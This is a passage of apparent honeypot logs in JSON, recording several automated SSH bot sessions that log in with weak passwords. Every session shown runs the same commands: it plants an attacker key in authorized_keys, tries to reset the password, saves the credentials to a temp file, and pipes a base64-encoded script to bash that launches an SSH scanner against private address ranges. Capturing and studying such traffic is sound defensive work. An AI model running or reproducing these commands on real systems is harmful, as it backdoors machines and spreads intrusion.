12:00:20 up 5 days, 8:50, 0 user, load average: 0.1, 0.09, 0.09\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-25T12:00:20.698210+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-25T12:00:20.698793+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-25T12:00:21.219838+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-25T12:00:21.221195+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-25T12:00:21.728149+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-25T12:00:21.728753+00:00","kind":"output","latency_ms":null,"data":"top - 12:00:21 up 5 days, 8:50, 0 user, load average: 0.1, 0.09, 0.09\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-25T12:00:22.244469+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-25T12:00:22.245193+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-25T12:00:22.760048+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-25T12:00:22.760565+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-25T12:00:23.276140+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-25T12:00:23.277006+00:00","kind":"output","latency_ms":null,"data":"eric"},{"seq":29,"at":"2026-08-25T12:00:23.790961+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-25T12:00:24.946823+00:00","kind":"output","latency_ms":1155,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-25T12:00:25.465649+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-25T12:00:26.270723+00:00","kind":"output","latency_ms":805,"data":"24G"},{"seq":33,"at":"2026-08-25T12:00:27.938205+00:00","kind":"input","latency_ms":null,"data":"echo \"eric 1234\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-25T12:00:28.452549+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-25T12:00:28.972997+00:00","kind":"output","latency_ms":519,"data":""},{"seq":36,"at":"2026-08-25T12:00:30.269631+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-25T12:00:31.370240+00:00","kind":"output","latency_ms":1098,"data":"\u0d24\u0d46\u0d31\u0d4d\u0d31\u0d3e\u0d2f \u0d2b\u0d2f\u0d7d \u0d2a\u0d47\u0d30\u0d4b \u0d21\u0d2f\u0d31\u0d15\u0d4d\u0d1f\u0d31\u0d3f\u0d2f\u0d4b \u0d07\u0d32\u0d4d\u0d32"},{"seq":38,"at":"2026-08-25T12:00:31.884279+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-25T12:00:33.357273+00:00","kind":"output","latency_ms":1471,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-25T12:00:33.871816+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-25T12:00:34.386388+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-25T12:00:35.004871+00:00","kind":"output","latency_ms":618,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-25T12:00:35.519810+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-25T12:00:36.336703+00:00","kind":"output","latency_ms":814,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-25T12:00:36.850724+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-25T12:00:37.278076+00:00","kind":"output","latency_ms":426,"data":""},{"seq":47,"at":"2026-08-25T12:00:45.327175+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-25T12:00:45.328241+00:00","kind":"output","latency_ms":null,"data":"eric"}],"credentials":[{"username":"eric","password":"1234","method":"password","accepted":true,"tier":"other"}]} {"id":"0edee1f6-c125-4bb5-8dfd-c1b37a4fc167","name":"leafy-keen-kingfisher","protocol":"ssh","channel_kind":"exec","src_ip":"51.12.221.15","src_port":46600,"username":"admin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":320,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-25T11:09:45.835620+00:00","ended_at":"2026-08-25T11:09:45.928858+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3739,"events":[{"seq":1,"at":"2026-08-25T11:09:18.508640+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-25T11:09:18.829355+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-25T11:09:19.041412+00:00","kind":"output","latency_ms":531,"data":""},{"seq":4,"at":"2026-08-25T11:09:22.603035+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":5,"at":"2026-08-25T11:09:22.603472+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":6,"at":"2026-08-25T11:09:22.923773+00:00","kind":"input","latency_ms":null,"data":"echo -e \"root123\\nufTJXttkvyvM\\nufTJXttkvyvM\"|passwd|bash"},{"seq":7,"at":"2026-08-25T11:09:23.243733+00:00","kind":"input","latency_ms":null,"data":"echo \"root123\\nufTJXttkvyvM\\nufTJXttkvyvM\\n\"|passwd"},{"seq":8,"at":"2026-08-25T11:09:23.559755+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-25T11:09:23.560377+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-25T11:09:23.878908+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-25T11:09:24.647807+00:00","kind":"output","latency_ms":768,"data":"15888 1123 11920 176 2843 13764"},{"seq":12,"at":"2026-08-25T11:09:24.968396+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-25T11:09:26.036424+00:00","kind":"output","latency_ms":1067,"data":"-rwxr-xr-x 1 root root 133K Aug 20 03:09 /usr/bin/ls"},{"seq":14,"at":"2026-08-25T11:09:26.358043+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-25T11:09:26.359702+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-25T11:09:26.678826+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-25T11:09:26.679523+00:00","kind":"output","latency_ms":null,"data":" 11:09:26 up 5 days, 7:59, 0 user, load average: 0.07, 0.06, 0.08\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-25T11:09:26.998697+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-25T11:09:26.999565+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-25T11:09:27.324643+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-25T11:09:27.325329+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-25T11:09:27.639715+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-25T11:09:27.640341+00:00","kind":"output","latency_ms":null,"data":"top - 11:09:27 up 5 days, 7:59, 0 user, load average: 0.07, 0.06, 0.08\nTasks: 126 total, 1 running, 125 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-25T11:09:27.960690+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-25T11:09:27.961827+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-25T11:09:28.281283+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-25T11:09:28.281831+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-25T11:09:28.601914+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-25T11:09:28.602254+00:00","kind":"output","latency_ms":null,"data":"admin"},{"seq":30,"at":"2026-08-25T11:09:28.922670+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-25T11:09:30.189482+00:00","kind":"output","latency_ms":1266,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-25T11:09:30.509389+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-25T11:09:31.151079+00:00","kind":"output","latency_ms":641,"data":"24G"},{"seq":34,"at":"2026-08-25T11:09:32.358232+00:00","kind":"input","latency_ms":null,"data":"echo \"admin root123\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-25T11:09:32.676108+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-25T11:09:33.057255+00:00","kind":"output","latency_ms":380,"data":""},{"seq":37,"at":"2026-08-25T11:09:33.780199+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-25T11:09:34.297738+00:00","kind":"output","latency_ms":517,"data":"1"},{"seq":39,"at":"2026-08-25T11:09:34.618003+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-25T11:09:35.319463+00:00","kind":"output","latency_ms":700,"data":"1"},{"seq":41,"at":"2026-08-25T11:09:35.639646+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-25T11:09:35.959247+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-25T11:09:36.485061+00:00","kind":"output","latency_ms":526,"data":"1"},{"seq":44,"at":"2026-08-25T11:09:36.805855+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-25T11:09:37.258648+00:00","kind":"output","latency_ms":451,"data":"1"},{"seq":46,"at":"2026-08-25T11:09:37.578215+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-25T11:09:38.096933+00:00","kind":"output","latency_ms":517,"data":""},{"seq":48,"at":"2026-08-25T11:09:45.836772+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-25T11:09:45.837396+00:00","kind":"output","latency_ms":null,"data":"admin"}],"credentials":[{"username":"admin","password":"root123","method":"password","accepted":true,"tier":"other"}]} {"id":"651ec677-83a6-4d7f-b33e-6e77280c89dc","name":"scarlet-candid-reindeer","protocol":"ssh","channel_kind":"exec","src_ip":"20.102.98.53","src_port":38006,"username":"es1","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":65,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-25T09:51:04.655389+00:00","ended_at":"2026-08-25T09:51:04.662733+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3254,"events":[{"seq":1,"at":"2026-08-25T09:50:46.113391+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-25T09:50:46.182771+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-25T09:50:48.711471+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-25T09:50:48.712279+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-25T09:50:48.779702+00:00","kind":"input","latency_ms":null,"data":"echo -e \"es1\\n2T3SkbIqjbA0\\n2T3SkbIqjbA0\"|passwd|bash"},{"seq":6,"at":"2026-08-25T09:50:48.845233+00:00","kind":"input","latency_ms":null,"data":"echo \"es1\\n2T3SkbIqjbA0\\n2T3SkbIqjbA0\\n\"|passwd"},{"seq":7,"at":"2026-08-25T09:50:48.913025+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-25T09:50:48.913555+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-25T09:50:48.976437+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-25T09:50:50.628631+00:00","kind":"output","latency_ms":1651,"data":"15888 2754 1157 11187 107 11264"},{"seq":11,"at":"2026-08-25T09:50:50.694188+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-25T09:50:51.284406+00:00","kind":"output","latency_ms":590,"data":"-rwxr-xr-x 1 root root 148K May 24 2024 /usr/bin/ls"},{"seq":13,"at":"2026-08-25T09:50:51.349116+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-25T09:50:51.349607+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-25T09:50:51.414317+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-25T09:50:51.415129+00:00","kind":"output","latency_ms":null,"data":" 09:50:51 up 5 days, 6:40, 0 user, load average: 0.34, 0.27, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-25T09:50:51.480153+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-25T09:50:51.480794+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-25T09:50:51.545915+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-25T09:50:51.546412+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-25T09:50:51.611010+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-25T09:50:51.611635+00:00","kind":"output","latency_ms":null,"data":"top - 09:50:51 up 5 days, 6:40, 0 user, load average: 0.34, 0.27, 0.22\nTasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7308 free, 8579 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-25T09:50:51.677571+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-25T09:50:51.678072+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-25T09:50:51.743788+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-25T09:50:51.744502+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-25T09:50:51.808914+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-25T09:50:51.809672+00:00","kind":"output","latency_ms":null,"data":"es1"},{"seq":29,"at":"2026-08-25T09:50:51.872995+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-25T09:50:52.779591+00:00","kind":"output","latency_ms":906,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1"},{"seq":31,"at":"2026-08-25T09:50:52.847244+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-25T09:50:53.367272+00:00","kind":"output","latency_ms":520,"data":"24.02G"},{"seq":33,"at":"2026-08-25T09:50:53.798428+00:00","kind":"input","latency_ms":null,"data":"echo \"es1 es1\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-25T09:50:53.862302+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-25T09:50:54.032003+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":36,"at":"2026-08-25T09:50:54.332443+00:00","kind":"output","latency_ms":469,"data":""},{"seq":37,"at":"2026-08-25T09:50:54.554458+00:00","kind":"output","latency_ms":522,"data":"1"},{"seq":38,"at":"2026-08-25T09:50:54.619017+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-25T09:50:55.000451+00:00","kind":"output","latency_ms":381,"data":"1"},{"seq":40,"at":"2026-08-25T09:50:55.066561+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-25T09:50:55.131112+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-25T09:50:55.797300+00:00","kind":"output","latency_ms":665,"data":"1"},{"seq":43,"at":"2026-08-25T09:50:55.864124+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-25T09:50:56.369354+00:00","kind":"output","latency_ms":505,"data":""},{"seq":45,"at":"2026-08-25T09:50:56.436608+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-25T09:50:56.913118+00:00","kind":"output","latency_ms":475,"data":""},{"seq":47,"at":"2026-08-25T09:51:04.656072+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-25T09:51:04.656882+00:00","kind":"output","latency_ms":null,"data":"es1"}],"credentials":[{"username":"es1","password":"es1","method":"password","accepted":true,"tier":"other"}]} {"id":"1ec638cc-b33e-4be7-8f52-047ca1789644","name":"painted-idle-kestrel","protocol":"ssh","channel_kind":"exec","src_ip":"76.79.213.70","src_port":51068,"username":"erpnext","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":371,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-25T08:53:26.661515+00:00","ended_at":"2026-08-25T08:53:26.784419+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":4161,"events":[{"seq":1,"at":"2026-08-25T08:52:55.924103+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-25T08:52:56.294880+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-25T08:53:00.208839+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc 